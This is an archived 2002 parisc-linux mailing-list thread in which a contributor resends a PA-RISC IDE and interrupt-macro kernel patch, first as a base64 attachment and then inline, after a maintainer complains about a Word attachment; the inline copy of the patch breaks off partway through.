Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 11:14:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5468D482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Dec 2002 11:14:16 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Nzkj-0000h2-00; Mon, 16 Dec 2002 19:14:05 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 16 Dec 2002 18:13:53 +0000
In-Reply-To: <20021216180103.C9994@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17125

>
>why are you sending word documents?  i'm not reading that shit.
>
Sorry for confusion, it just contents ascii text. Trust me there is no re=
lation
with world, just an extension (a professional habit to make internal exch=
ange
more confortable for the one not familiar with unix).

Tell me what is your prefered extension, I will take care to adopt it.

Joel

*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: YA pb with PCI IDE (my merge 2.4.21-pre1)
Date: Mon, 16 Dec 2002 18:16:49 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20021216181649.D9994@parcelfarce.linux.theplanet.co.uk>
References: <20021216180103.C9994@parcelfarce.linux.theplanet.co.uk> <3DED9BF500001EEE@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622030 18738 80.91.229.3 (22 Nov 2014 02:07:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:10 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 11:16:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0127E482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Dec 2002 11:16:54 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18NznN-00063O-00; Mon, 16 Dec 2002 18:16:49 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3DED9BF500001EEE@ocpmta8.freegates.net>; from jsoe0708@tiscali.be on Mon, Dec 16, 2002 at 07:13:53PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17126

On Mon, Dec 16, 2002 at 07:13:53PM +0100, jsoe0708@tiscali.be wrote:
> >
> >why are you sending word documents?  i'm not reading that shit.
> >
> Sorry for confusion, it just contents ascii text. Trust me there is no relation
> with world, just an extension (a professional habit to make internal exchange
> more confortable for the one not familiar with unix).

something's very screwed up then, probably your mail server:

[-- Attachment #2: add_function.diff.doc --]
[-- Type: application/msword, Encoding: base64, Size: 7.8K --]

[-- application/msword is unsupported (use 'v' to view this part) --]

is what i see.

> Tell me what is your prefered extension, I will take care to adopt it.

i prefer it inlined, not as an attachment.  it's easier to reply to.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: YA pb with PCI IDE (my merge 2.4.21-pre1)
Date: Mon, 16 Dec 2002 19:19:02 +0100
Lines: 133
Approved: news@gmane.org
Message-ID: <3DED9BF500001EF0@ocpmta8.freegates.net>
References: <20021216180103.C9994@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=========3DED9BF500001EF0/mail.tiscali.be"
X-Trace: ger.gmane.org 1416622030 18745 80.91.229.3 (22 Nov 2014 02:07:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:10 +0000 (UTC)
Cc: "Alan Cox" <alan@lxorguk.ukuu.org.uk>,
	"Matthew Wilcox" <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 11:24:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9BF1A482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Dec 2002 11:24:47 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Nzq1-0007z3-00; Mon, 16 Dec 2002 19:19:33 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 16 Dec 2002 18:19:02 +0000
In-Reply-To: <20021216180103.C9994@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17127

--=========3DED9BF500001EF0/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

>
>why are you sending word documents?  i'm not reading that shit.
>
Please accept my appologies for confusion.
Here is the same info :-)

Joel


*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be




--=========3DED9BF500001EF0/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="add_function.diff"

ZGlmZiAtTmF1cndiQlggL0RldmVsb3AvS2VybmVsLUxpbnV4L2RvbnRkaWZmIGxpbnV4LTIuNC4y
MS1wcmUxLXBhMTQtYWxwaGEvaW5jbHVkZS9hc20tcGFyaXNjL2lkZS5oIGxpbnV4LTIuNC4yMS1w
cmUxLXBhMTQtYmV0YS9pbmNsdWRlL2FzbS1wYXJpc2MvaWRlLmgKLS0tIGxpbnV4LTIuNC4yMS1w
cmUxLXBhMTQtYWxwaGEvaW5jbHVkZS9hc20tcGFyaXNjL2lkZS5oCTIwMDItMTItMTMgMTQ6MDA6
MDkuMDAwMDAwMDAwICswMTAwCisrKyBsaW51eC0yLjQuMjEtcHJlMS1wYTE0LWJldGEvaW5jbHVk
ZS9hc20tcGFyaXNjL2lkZS5oCTIwMDItMTItMTUgMTU6MzQ6MDEuMDAwMDAwMDAwICswMTAwCkBA
IC0yMCw2ICsyMCw4IEBACiAjZGVmaW5lIE1BWF9IV0lGUwkyCiAjZW5kaWYKIAorI2RlZmluZSBp
ZGVfX3N0aSgpICAgICAgX19zdGkoKQorCiBzdGF0aWMgX19pbmxpbmVfXyBpbnQgaWRlX2RlZmF1
bHRfaXJxKGlkZV9pb3JlZ190IGJhc2UpCiB7CiAJc3dpdGNoIChiYXNlKSB7CkBAIC03OCwxMyAr
ODAsMTE2IEBACiAjZW5kaWYgLyogQ09ORklHX0JMS19ERVZfSURFUENJICovCiB9CiAKLS8qCit0
eXBlZGVmIHVuaW9uIHsKKwl1bnNpZ25lZCBhbGwJCQk6IDg7CS8qIGFsbCBvZiB0aGUgYml0cyB0
b2dldGhlciAqLworCXN0cnVjdCB7CisJCXVuc2lnbmVkIGJpdDcJCTogMTsJLyogYWx3YXlzIDEg
Ki8KKwkJdW5zaWduZWQgbGJhCQk6IDE7CS8qIHVzaW5nIExCQSBpbnN0ZWFkIG9mIENIUyAqLwor
CQl1bnNpZ25lZCBiaXQ1CQk6IDE7CS8qIGFsd2F5cyAxICovCisJCXVuc2lnbmVkIHVuaXQJCTog
MTsJLyogZHJpdmUgc2VsZWN0IG51bWJlciwgMCBvciAxICovCisJCXVuc2lnbmVkIGhlYWQJCTog
NDsJLyogYWx3YXlzIHplcm9zIGhlcmUgKi8KKwl9IGI7Cit9IHNlbGVjdF90OworCit0eXBlZGVm
IHVuaW9uIHsKKwl1bnNpZ25lZCBhbGwJCQk6IDg7CS8qIGFsbCBvZiB0aGUgYml0cyB0b2dldGhl
ciAqLworCXN0cnVjdCB7CisJCXVuc2lnbmVkIGJpdDAJCTogMTsKKwkJdW5zaWduZWQgbklFTgkJ
OiAxOwkvKiBkZXZpY2UgSU5UUlEgdG8gaG9zdCAqLworCQl1bnNpZ25lZCBTUlNUCQk6IDE7CS8q
IGhvc3Qgc29mdCByZXNldCBiaXQgKi8KKwkJdW5zaWduZWQgYml0MwkJOiAxOwkvKiBBVEEtMiB0
aGluZ3kgKi8KKwkJdW5zaWduZWQgcmVzZXJ2ZWQ0NTYJOiAzOworCQl1bnNpZ25lZCBIT0IJCTog
MTsJLyogNDgtYml0IGFkZHJlc3Mgb3JkZXJpbmcgKi8KKwl9IGI7Cit9IGNvbnRyb2xfdDsKKwog
I2RlZmluZSBpZGVfcmVxdWVzdF9pcnEoaXJxLGhhbmQsZmxnLGRldixpZCkJcmVxdWVzdF9pcnEo
KGlycSksKGhhbmQpLChmbGcpLChkZXYpLChpZCkpCiAjZGVmaW5lIGlkZV9mcmVlX2lycShpcnEs
ZGV2X2lkKQkJZnJlZV9pcnEoKGlycSksIChkZXZfaWQpKQogI2RlZmluZSBpZGVfY2hlY2tfcmVn
aW9uKGZyb20sZXh0ZW50KQkJY2hlY2tfcmVnaW9uKChmcm9tKSwgKGV4dGVudCkpCiAjZGVmaW5l
IGlkZV9yZXF1ZXN0X3JlZ2lvbihmcm9tLGV4dGVudCxuYW1lKQlyZXF1ZXN0X3JlZ2lvbigoZnJv
bSksIChleHRlbnQpLCAobmFtZSkpCiAjZGVmaW5lIGlkZV9yZWxlYXNlX3JlZ2lvbihmcm9tLGV4
dGVudCkJCXJlbGVhc2VfcmVnaW9uKChmcm9tKSwgKGV4dGVudCkpCisKKyNkZWZpbmUgVF9DSEFS
ICAgICAgICAgICgweDAwMDApICAgICAgICAvKiBjaGFyOiAgZG9uJ3QgdG91Y2ggICovCisjZGVm
aW5lIFRfU0hPUlQgICAgICAgICAoMHg0MDAwKSAgICAgICAgLyogc2hvcnQ6IDEyIC0+IDIxICAg
ICAqLworI2RlZmluZSBUX0lOVCAgICAgICAgICAgKDB4ODAwMCkgICAgICAgIC8qIGludDogICAx
MjM0IC0+IDQzMjEgKi8KKyNkZWZpbmUgVF9URVhUICAgICAgICAgICgweGMwMDApICAgICAgICAv
KiB0ZXh0OiAgMTIgLT4gMjEgICAgICovCisKKyNkZWZpbmUgVF9NQVNLX1RZUEUgICAgICgweGMw
MDApCisjZGVmaW5lIFRfTUFTS19DT1VOVCAgICAoMHgzZmZmKQorCisjZGVmaW5lIERfQ0hBUihj
bnQpICAgICAoVF9DSEFSICB8IChjbnQpKQorI2RlZmluZSBEX1NIT1JUKGNudCkgICAgKFRfU0hP
UlQgfCAoY250KSkKKyNkZWZpbmUgRF9JTlQoY250KSAgICAgIChUX0lOVCAgIHwgKGNudCkpCisj
ZGVmaW5lIERfVEVYVChjbnQpICAgICAoVF9URVhUICB8IChjbnQpKQorCitzdGF0aWMgdV9zaG9y
dCBkcml2ZWlkX3R5cGVzW10gPSB7CisJRF9TSE9SVCgxMCksCS8qIGNvbmZpZyAtIHZlbmRvcjIg
Ki8KKwlEX1RFWFQoMjApLAkvKiBzZXJpYWxfbm8gKi8KKwlEX1NIT1JUKDMpLAkvKiBidWZfdHlw
ZSAtIGVjY19ieXRlcyAqLworCURfVEVYVCg0OCksCS8qIGZ3X3JldiAtIG1vZGVsICovCisJRF9D
SEFSKDIpLAkvKiBtYXhfbXVsdHNlY3QgLSB2ZW5kb3IzICovCisJRF9TSE9SVCgxKSwJLyogZHdv
cmRfaW8gKi8KKwlEX0NIQVIoMiksCS8qIHZlbmRvcjQgLSBjYXBhYmlsaXR5ICovCisJRF9TSE9S
VCgxKSwJLyogcmVzZXJ2ZWQ1MCAqLworCURfQ0hBUig0KSwJLyogdmVuZG9yNSAtIHRETUEgKi8K
KwlEX1NIT1JUKDQpLAkvKiBmaWVsZF92YWxpZCAtIGN1cl9zZWN0b3JzICovCisJRF9JTlQoMSks
CS8qIGN1cl9jYXBhY2l0eSAqLworCURfQ0hBUigyKSwJLyogbXVsdHNlY3QgLSBtdWx0c2VjdF92
YWxpZCAqLworCURfSU5UKDEpLAkvKiBsYmFfY2FwYWNpdHkgKi8KKwlEX1NIT1JUKDE5NCkJLyog
ZG1hXzF3b3JkIC0gcmVzZXJ2ZWR5eSAqLworfTsKKworI2RlZmluZSBudW1fZHJpdmVpZF90eXBl
cyAgICAgICAoc2l6ZW9mKGRyaXZlaWRfdHlwZXMpL3NpemVvZigqZHJpdmVpZF90eXBlcykpCisK
K3N0YXRpYyBfX2lubGluZV9fIHZvaWQgaWRlX2ZpeF9kcml2ZWlkKHN0cnVjdCBoZF9kcml2ZWlk
ICppZCkKK3sKKwl1X2NoYXIgKnAgPSAodV9jaGFyICopaWQ7CisJaW50IGksIGosIGNudDsKKwl1
X2NoYXIgdDsKKworCWZvciAoaSA9IDA7IGkgPCBudW1fZHJpdmVpZF90eXBlczsgaSsrKSB7CisJ
CWNudCA9IGRyaXZlaWRfdHlwZXNbaV0gJiBUX01BU0tfQ09VTlQ7CisJCXN3aXRjaCAoZHJpdmVp
ZF90eXBlc1tpXSAmIFRfTUFTS19UWVBFKSB7CisJCWNhc2UgVF9DSEFSOgorCQkJcCAr
PSBjbnQ7CisJCQlicmVhazsKKwkJY2FzZSBUX1NIT1JUOgorCQkJZm9yIChqID0gMDsgaiA8IGNu
dDsgaisrKSB7CisJCQkJdCA9IHBbMF07CisJCQkJcFswXSA9IHBbMV07CisJCQkJcFsxXSA9IHQ7
CisJCQkJcCArPSAyOworCQkJfQorCQkJYnJlYWs7CisJCWNhc2UgVF9JTlQ6CisJCQlmb3IgKGog
PSAwOyBqIDwgY250OyBqKyspIHsKKwkJCQl0ID0gcFswXTsKKwkJCQlwWzBdID0gcFszXTsKKwkJ
CQlwWzNdID0gdDsKKwkJCQl0ID0gcFsxXTsKKwkJCQlwWzFdID0gcFsyXTsKKwkJCQlwWzJdID0g
dDsKKwkJCQlwICs9IDQ7CisJCQl9CisJCQlicmVhazsKKwkJY2FzZSBUX1RFWFQ6CisJCQlmb3Ig
KGogPSAwOyBqIDwgY250OyBqICs9IDIpIHsKKwkJCQl0ID0gcFswXTsKKwkJCQlwWzBdID0gcFsx
XTsKKwkJCQlwWzFdID0gdDsKKwkJCQlwICs9IDI7CisJCQl9CisJCQlicmVhazsKKwkJfTsKKwl9
Cit9CisKKy8qCisgKiBUaGUgZm9sbG93aW5nIGFyZSBub3QgbmVlZGVkIGZvciB0aGUgbm9uLW02
OGsgcG9ydHMKICAqLworI2RlZmluZSBpZGVfYWNrX2ludHIoaHdpZikJCSgxKQorI2RlZmluZSBp
ZGVfcmVsZWFzZV9sb2NrKGxvY2spCQlkbyB7fSB3aGlsZSAoMCkKKyNkZWZpbmUgaWRlX2dldF9s
b2NrKGxvY2ssIGhkbHIsIGRhdGEpCWRvIHt9IHdoaWxlICgwKQogCiAjZW5kaWYgLyogX19LRVJO
RUxfXyAqLwogCmRpZmYgLU5hdXJ3YkJYIC9EZXZlbG9wL0tlcm5lbC1MaW51eC9kb250ZGlmZiBs
aW51eC0yLjQuMjEtcHJlMS1wYTE0LWFscGhhL2luY2x1ZGUvYXNtLXBhcmlzYy9zeXN0ZW0uaCBs
aW51eC0yLjQuMjEtcHJlMS1wYTE0LWJldGEvaW5jbHVkZS9hc20tcGFyaXNjL3N5c3RlbS5oCi0t
LSBsaW51eC0yLjQuMjEtcHJlMS1wYTE0LWFscGhhL2luY2x1ZGUvYXNtLXBhcmlzYy9zeXN0ZW0u
aAkyMDAyLTEyLTEzIDEzOjU4OjM2LjAwMDAwMDAwMCArMDEwMAorKysgbGludXgtMi40LjIxLXBy
ZTEtcGExNC1iZXRhL2luY2x1ZGUvYXNtLXBhcmlzYy9zeXN0ZW0uaAkyMDAyLTEyLTE1IDE1OjM0
OjAxLjAwMDAwMDAwMCArMDEwMApAQCAtNjYsOCArNjYsNiBAQAogI2RlZmluZSBzdGkoKSBfX2ds
b2JhbF9zdGkoKQogI2RlZmluZSBzYXZlX2ZsYWdzKHgpICgoeCk9X19nbG9iYWxfc2F2ZV9mbGFn
cygpKQogI2RlZmluZSByZXN0b3JlX2ZsYWdzKHgpIF9fZ2xvYmFsX3Jlc3RvcmVfZmxhZ3MoeCkK
LSNkZWZpbmUgc2F2ZV9hbmRfY2xpKHgpIGRvIHsgc2F2ZV9mbGFncyh4KTsgY2xpKCk7IH0gd2hp
bGUoMCk7Ci0jZGVmaW5lIHNhdmVfYW5kX3N0aSh4KSBkbyB7IHNhdmVfZmxhZ3MoeCk7IHN0aSgp
OyB9IHdoaWxlKDApOwogCiAjZWxzZQogCkBAIC03NSw4ICs3Myw2IEBACiAjZGVmaW5lIHN0aSgp
IF9fc3RpKCkKICNkZWZpbmUgc2F2ZV9mbGFncyh4KSBfX3NhdmVfZmxhZ3MoeCkKICNkZWZpbmUg
cmVzdG9yZV9mbGFncyh4KSBfX3Jlc3RvcmVfZmxhZ3MoeCkKLSNkZWZpbmUgc2F2ZV9hbmRfY2xp
KHgpIF9fc2F2ZV9hbmRfY2xpKHgpCi0jZGVmaW5lIHNhdmVfYW5kX3N0aSh4KSBfX3NhdmVfYW5k
X3N0aSh4KQogCiAjZW5kaWYKIApkaWZmIC1OYXVyd2JCWCAvRGV2ZWxvcC9LZXJuZWwtTGludXgv
ZG9udGRpZmYgbGludXgtMi40LjIxLXByZTEtcGExNC1hbHBoYS9pbmNsdWRlL2FzbS1wYXJpc2Mv
c3lzdGVtX2lycXNhdmUuaCBsaW51eC0yLjQuMjEtcHJlMS1wYTE0LWJldGEvaW5jbHVkZS9hc20t
cGFyaXNjL3N5c3RlbV9pcnFzYXZlLmgKLS0tIGxpbnV4LTIuNC4yMS1wcmUxLXBhMTQtYWxwaGEv
aW5jbHVkZS9hc20tcGFyaXNjL3N5c3RlbV9pcnFzYXZlLmgJMjAwMi0xMi0xMiAxNjoxMjowMi4w
MDAwMDAwMDAgKzAxMDAKKysrIGxpbnV4LTIuNC4yMS1wcmUxLXBhMTQtYmV0YS9pbmNsdWRlL2Fz
bS1wYXJpc2Mvc3lzdGVtX2lycXNhdmUuaAkyMDAyLTEyLTE1IDE1OjM0OjAxLjAwMDAwMDAwMCAr
MDEwMApAQCAtNywyMSArNywxMCBAQAogI2RlZmluZSBfX2NsaSgpCV9fYXNtX18gX192b2xhdGls
ZV9fKCJyc20gJTAsJSVyMFxuIiA6IDogImkiIChQU1dfSSkgOiAibWVtb3J5IiApCiAjZGVmaW5l
IF9fc3RpKCkJX19hc21fXyBfX3ZvbGF0aWxlX18oInNzbSAlMCwlJXIwXG4iIDogOiAiaSIgKFBT
V19JKSA6ICJtZW1vcnkiICkKIAotI2RlZmluZSBfX3NhdmVfYW5kX2NsaSh4KSAgZG8geyBfX3Nh
dmVfZmxhZ3MoeCk7IF9fY2xpKCk7IH0gd2hpbGUoMCk7Ci0jZGVmaW5lIF9fc2F2ZV9hbmRfc3Rp
KHgpICBkbyB7IF9fc2F2ZV9mbGFncyh4KTsgX19zdGkoKTsgfSB3aGlsZSgwKTsKLQotLyogRm9y
IHNwaW5sb2NrcyBldGMgKi8KLSNpZiAwCiAjZGVmaW5lIGxvY2FsX2lycV9zYXZlKHgpIFwKIAlf
X2FzbV9fIF9fdm9sYXRpbGVfXygicnNtICUxLCUwIiA6ICI9ciIgKHgpIDoiaSIgKFBTV19JKSA6
ICJtZW1vcnkiICkKLSNkZWZpbmUgbG9jYWxfaXJxX3NldCh4KSBcCi0jICAgICAgICJXYXJuaW5n
IGxvY2FsX2lycV9zZXQoeCkgaXMgbm90IHlldCBkZWZpbmVkIgotI2Vsc2UKLSNkZWZpbmUgbG9j
YWxfaXJxX3NhdmUoeCkgIF9fc2F2ZV9hbmRfY2xpKHgpCi0jZGVmaW5lIGxvY2FsX2lycV9zZXQo
eCkgICBfX3NhdmVfYW5kX3N0aSh4KQotI2VuZGlmCi0KLSNkZWZpbmUgbG9jYWxfaXJxX3Jlc3Rv
cmUoeCkgX19yZXN0b3JlX2ZsYWdzKHgpCisjZGVmaW5lIGxvY2FsX2lycV9yZXN0b3JlKHgpIFwK
KwlfX2FzbV9fIF9fdm9sYXRpbGVfXygibXRzbSAlMCIgOiA6ICJyIiAoeCkgOiAibWVtb3J5IiAp
CiAjZGVmaW5lIGxvY2FsX2lycV9kaXNhYmxlKCkgX19jbGkoKQogI2RlZmluZSBsb2NhbF9pcnFf
ZW5hYmxlKCkgIF9fc3RpKCkKIAo=

--=========3DED9BF500001EF0/mail.tiscali.be--


From - Thu Nov 08 21:25:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: YA pb with PCI IDE (my merge 2.4.21-pre1)
Date: Mon, 16 Dec 2002 19:24:28 +0100
Lines: 227
Approved: news@gmane.org
Message-ID: <3DED9BF500001EF5@ocpmta8.freegates.net>
References: <20021216181649.D9994@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622031 18751 80.91.229.3 (22 Nov 2014 02:07:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:11 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	"Alan Cox" <alan@lxorguk.ukuu.org.uk>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 11:25:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2CC90482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Dec 2002 11:25:00 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Nzuw-00028D-00; Mon, 16 Dec 2002 19:24:38 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 16 Dec 2002 18:24:28 +0000
In-Reply-To: <20021216181649.D9994@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17128

>On Mon, Dec 16, 2002 at 07:13:53PM +0100, jsoe0708@tiscali.be wrote:
>> >
>> >why are you sending word documents?  i'm not reading that shit.
>> >
>> Sorry for confusion, it just contents ascii text. Trust me there is no=

>relation
>> with world, just an extension (a professional habit to make internal
exchange
>> more confortable for the one not familiar with unix).
>
>something's very screwed up then, probably your mail server:
>
>[-- Attachment #2: add_function.diff.doc --]
>[-- Type: application/msword, Encoding: base64, Size: 7.8K --]
>
>[-- application/msword is unsupported (use 'v' to view this part) --]
>
>is what i see.
>
That should be the webmail interface (I do not like it but have no choise=

behind a fw not allowing pop.mail connection)

>> Tell me what is your prefered extension, I will take care to adopt it.=

>
>i prefer it inlined, not as an attachment.  it's easier to reply to.
>
That is ok for me:

diff -NaurwbBX /Develop/Kernel-Linux/dontdiff linux-2.4.21-pre1-pa14-alph=
a/include/asm-parisc/ide.h
linux-2.4.21-pre1-pa14-beta/include/asm-parisc/ide.h
--- linux-2.4.21-pre1-pa14-alpha/include/asm-parisc/ide.h	2002-12-13 14:0=
0:09.000000000
+0100
+++ linux-2.4.21-pre1-pa14-beta/include/asm-parisc/ide.h	2002-12-15 15:34=
:01.000000000
+0100
@@ -20,6 +20,8 @@
 #define MAX_HWIFS	2
 #endif
 
+#define ide__sti()      __sti()
+
 static __inline__ int ide_default_irq(ide_ioreg_t base)
 {
 	switch (base) {
@@ -78,13 +80,116 @@
 #endif /* CONFIG_BLK_DEV_IDEPCI */
 }
 
-/*
+typedef union {
+	unsigned all			: 8;	/* all of the bits together */
+	struct {
+		unsigned bit7		: 1;	/* always 1 */
+		unsigned lba		: 1;	/* using LBA instead of CHS */
+		unsigned bit5		: 1;	/* always 1 */
+		unsigned unit		: 1;	/* drive select number, 0 or 1 */
+		unsigned head		: 4;	/* always zeros here */
+	} b;
+} select_t;
+
+typedef union {
+	unsigned all			: 8;	/* all of the bits together */
+	struct {
+		unsigned bit0		: 1;
+		unsigned nIEN		: 1;	/* device INTRQ to host */
+		unsigned SRST		: 1;	/* host soft reset bit */
+		unsigned bit3		: 1;	/* ATA-2 thingy */
+		unsigned reserved456	: 3;
+		unsigned HOB		: 1;	/* 48-bit address ordering */
+	} b;
+} control_t;
+
 #define ide_request_irq(irq,hand,flg,dev,id)	request_irq((irq),(hand),(f=
lg),(dev),(id))
 #define ide_free_irq(irq,dev_id)		free_irq((irq), (dev_id))
 #define ide_check_region(from,extent)		check_region((from), (extent))
 #define ide_request_region(from,extent,name)	request_region((from), (ext=
ent),
(name))
 #define ide_release_region(from,extent)		release_region((from), (extent)=
)
+
+#define T_CHAR          (0x0000)        /* char:  don't touch  */
+#define T_SHORT         (0x4000)        /* short: 12 -> 21     */
+#define T_INT           (0x8000)        /* int:   1234 -> 4321 */
